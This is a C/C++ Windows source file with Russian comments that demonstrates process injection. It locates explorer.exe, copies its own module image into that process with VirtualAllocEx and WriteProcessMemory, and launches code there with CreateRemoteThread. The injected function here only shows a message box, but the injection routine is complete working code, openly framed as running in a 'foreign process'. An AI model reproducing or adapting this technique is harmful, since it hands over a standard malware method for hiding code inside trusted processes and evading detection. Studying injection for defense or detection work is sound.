DWORD GetProcessID(char*);
BOOL Inject(HANDLE,DWORD(WINAPI* func)(LPVOID));
DWORD WINAPI func(LPVOID);
//-------- главная функция ---------
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPTSTR,int)
{
if(!Inject(OpenProcess(PROCESS_ALL_ACCESS,false,GetProcessID("explorer.exe")),&func)) return false;
return true;
}
//-------- функция, которая будет выполняться в чужом процессе -------
DWORD WINAPI func(LPVOID)
{
LoadLibrary("kernel32.dll");
LoadLibrary("user32.dll");
MessageBox(0,"Hello from addres area of explorer","title",0);
return true;
}
//-------- поиск процесса ---------
DWORD GetProcessID(char* lpNameProcess) // в параметре - имя процесса для внедрения
{
HANDLE snap;
PROCESSENTRY32 pentry32;
snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(snap==INVALID_HANDLE_VALUE) return 0;
pentry32.dwSize=sizeof(PROCESSENTRY32);
if(!Process32First(snap,&pentry32)) {CloseHandle(snap);return 0;}
do
{
if(!lstrcmpi(lpNameProcess,&pentry32.szExeFile[0]))
{
CloseHandle(snap);
return pentry32.th32ProcessID;
}
}
while(Process32Next(snap,&pentry32));
CloseHandle(snap);
return 0;
}
//-------- функция внедрения в чужой процесс -------------------
BOOL Inject(HANDLE hProc,DWORD(WINAPI* func)(LPVOID))
{
DWORD id;
DWORD ByteOfWriten;
HMODULE hModule = GetModuleHandle(NULL);
DWORD size=((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE*)(hModule)+((PIMAGE_DOS_HEADER)(hModule))->e_lfanew+sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;
char* hNewModule = (char*)VirtualAllocEx(hProc,hModule,size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(hNewModule==NULL) return false;
WriteProcessMemory(hProc,hNewModule,hModule,size,&ByteOfWriten);
if(ByteOfWriten!=size){return false;}
HANDLE hThread=CreateRemoteThread(hProc,NULL,0,func,(LPVOID)hNewModule,0,&id);
if(hThread==0) return false;
return true;
}